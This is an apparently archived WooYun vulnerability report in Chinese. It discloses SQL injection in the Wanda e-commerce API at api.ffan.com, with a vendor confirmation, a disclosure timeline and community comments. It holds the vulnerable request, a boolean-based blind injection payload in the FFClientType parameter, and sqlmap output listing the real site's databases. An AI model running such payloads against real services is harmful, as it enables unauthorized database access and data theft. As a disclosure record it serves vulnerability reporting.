漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0193931
漏洞标题：万达某电商电商业务SQL注入
相关厂商：万达电商
漏洞作者： zzR
提交时间：2016-04-08 16:38
修复时间：2016-05-26 15:50
公开时间：2016-05-26 15:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-04-08： 细节已通知厂商并且等待厂商处理中
2016-04-11： 厂商已经确认，细节仅向厂商公开
2016-04-21： 细节向核心白帽子及相关领域专家公开
2016-05-01： 细节向普通白帽子公开
2016-05-11： 细节向实习白帽子公开
2016-05-26： 细节向公众公开
简要描述：
东方红DOTA安全联盟－来一发
详细说明：
GET http://api.ffan.com/ffan/v1/appskin/appSkins?FFClientType=1&FFClientVersion=32100000&FFUDID=15440&ddId=55&pLoginToken=bc5a89c493de&puid=7A3A3&size=750_1334&version=1&wdId=0f1cf59b3ff HTTP/1.1
Host: api.ffan.com
Accept: */*
Proxy-Connection: keep-alive
sqlmap resumed the following injection point(s) from stored session:
---
back-end DBMS: MySQL 5
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: FFClientType (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: FFClientType=1 AND 6831=6831&FFClientVersion=32100000&FFUDID=15000000068222440&ddId=ded10ed85e3c8af56018ad2f9b2f557a304d6155&pLoginToken=bc5ad73a25a6fb59e3a26fe289c493de&puid=7C325CCEC0484391953762A94DABA3A3&size=750_1334&version=1&wdId=9a100c5a595de2696d7670f1cf59b3ff
Vector: AND [INFERENCE]
---
back-end DBMS: MySQL >= 5.0.0
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: FFClientType (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: FFClientType=1 AND 6831=6831&FFClientVersion=32100000&FFUDID=15000000068222440&ddId=ded10ed85e3c8af56018ad2f9b2f557a304d6155&pLoginToken=bc5ad73a25a6fb59e3a26fe289c493de&puid=7C325CCEC0484391953762A94DABA3A3&size=750_1334&version=1&wdId=9a100c5a595de2696d7670f1cf59b3ff
Vector: AND [INFERENCE]
---
back-end DBMS: MySQL >= 5.0.0
available databases [3]:
[*] ffan
[*] information_schema
[*] test
漏洞证明：
好像是主库ffan
跑起来好费劲～
修复方案：
电影票能修复该问题
版权声明：转载请注明来源 zzR@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：13
确认时间：2016-04-11 15:43
厂商回复：
感谢zzR同学的关注与贡献，马上通知业务整改。
最新状态：
暂无
漏洞评价：
评价
-
想思聪了？
-
Good Jb，baby
-
@高小厨 说，葱葱是不是被你们藏起来了。。｀｀
-
专注万达20年
( 普通白帽子 | Rank:978 漏洞数:90 | 不会吹牛的小二不是好厨子！)